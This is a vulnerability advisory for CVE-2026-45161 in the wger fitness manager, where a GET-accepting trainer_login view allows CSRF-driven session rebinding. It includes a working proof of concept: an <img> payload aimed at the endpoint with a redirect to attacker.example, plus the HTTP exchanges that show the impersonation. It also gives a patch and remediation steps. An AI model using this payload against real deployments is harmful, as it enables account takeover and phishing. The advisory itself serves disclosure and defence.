CVE-2026-45161: wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding

Published Oct 7, 2026
·
Updated

Summary

The trainerlogin view in wger accepts GET requests and executes djangologin() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

python VULNERABLE - no @requirePOST, no request.method == 'POST' guard CsrfViewMiddleware is bypassed because CSRF enforcement only applies to unsafe HTTP methods (POST, PUT, PATCH, DELETE) def trainerlogin(request, userpk): ... djangologin(request, user, backend='django.contrib.auth.backends.ModelBackend') return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes djangologin() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint: - GET /en/user/<userpk>/trainer-login -> wger.core.views.user.trainerlogin

Suggested patch:

diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py +from django.views.decorators.http import requirePOST + @loginrequired() +@requirePOST def trainerlogin(request, userpk): ... - # Move ?next= handling to POST body - never use GET params for - # security-sensitive redirects + nexturl = request.POST.get('next', reverse('core:index')) + if not urlhasallowedhostandscheme(nexturl, allowedhosts={request.gethost()}): + nexturl = reverse('core:index') return HttpResponseRedirect(nexturl)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gymtrainer permission).

Step 1 - Attacker hosts malicious page:

html <!-- evil.html --> <img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil" width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1 Host: target Cookie: sessionid=[trainer1session] (no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found Location: //attacker.example/exfil Set-Cookie: sessionid=[alicesession] <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1 Cookie: sessionid=[alicesession]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainerlogin scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gymtrainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Other sources

wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainerlogin view in wger accepts GET requests and executes djangologin() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.

— MITRE

Affected Software

2 affected components
wger wger<2.6
pip/wger<=2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade wger to a version that resolves this vulnerability.

    Fixed in 2.6
  2. Configuration

    Move the next parameter from GET query parameters to the POST body and reject redirect targets that are not allowed by url_has_allowed_host_and_scheme.

    wger trainer_login view next redirect handling = POST body only; validate with url_has_allowed_host_and_scheme against the request host

Event History

Oct 7, 2026
CVE Published
via MITRE·01:35 PM
Data Sourced
via MITRE·01:35 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·01:45 PM
Data Sourced
via GitHub·01:45 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·02:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Who is exposed to this issue?

Authenticated wger trainer accounts are exposed if they use a version prior to 2.6 and load attacker-controlled web content. The attack relies on the trainer's browser sending its existing session cookie with a cross-site GET request.

2

What does an attacker need to exploit it?

An attacker needs a trainer to visit a malicious page containing an embedded image that targets the trainer_login endpoint. No CSRF token is required because the affected endpoint accepts GET requests.

3

What is the impact of successful exploitation?

The trainer's session can be forcibly rebound to an arbitrary user account selected by the attacker. This can expose the trainer to actions or data associated with that other account.

4

How can this be remediated?

Upgrade wger to version 2.6, which fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203